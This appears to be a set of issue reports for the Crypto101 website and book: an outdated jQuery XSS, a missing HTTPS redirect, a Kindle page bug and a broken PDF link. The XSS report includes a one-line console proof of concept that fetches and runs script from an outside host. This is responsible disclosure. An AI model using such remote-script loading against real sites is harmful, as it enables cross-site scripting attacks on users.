Summary

crypto101.io uses an insecure version of jQuery that is vulnerable to XSS. Every text/javascript response is executed. This cannot be exploited as of now, but better safe than sorry.

PoC

Paste the following into the console: $.get("https://edwinfoudil.com/poc/jqueryxss.js")

Result: XSS payload fired. Alert box displayed.

Fix

Update jQuery.

www.crypto101.io uses HSTS, but doesn't have a redirection from HTTP on port 80 to HTTPS on port 443. As a result, clients who visit the plaintext host won't notice and activate HSTS. Since you are using Cloudflare all you have to do is set a page rule as follows:

1. Visit https://www.cloudflare.com/a/page-rules/PROJECTNAME;
2. Add http://*.crypto101.io/*;
3. Select "Always Use HTTPS"

For some reason on the Kindle, the only page I'm not able to see (until now) is page 48, it displays an alert with written "The page cannot be displayed" and the Kindle goes back to the main menu after pressing "Ok", is possible to go to page 49 by scrolling 2 pages before the alert appears, so once you go back to the book from the menu you are at page 49.

https://raw.githubusercontent.com/crypto101/crypto101.github.io/master/Crypto101.pdf , this URL is not working.

https://www.evernote.com/shard/s18/sh/f01e0e9b-f0e2-48df-a9a1-9969fbe155db/9eb4d3eb0e783429b057f532ac3da625